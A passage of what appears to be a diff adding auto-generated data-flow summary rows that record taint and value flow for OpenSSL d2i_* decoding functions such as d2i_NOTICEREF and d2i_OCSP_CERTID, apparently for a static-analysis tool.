"ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_BASICRESP", "(OCSP_BASICRESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTID", "(OCSP_CERTID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CERTSTATUS", "(OCSP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_CRLID", "(OCSP_CRLID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", 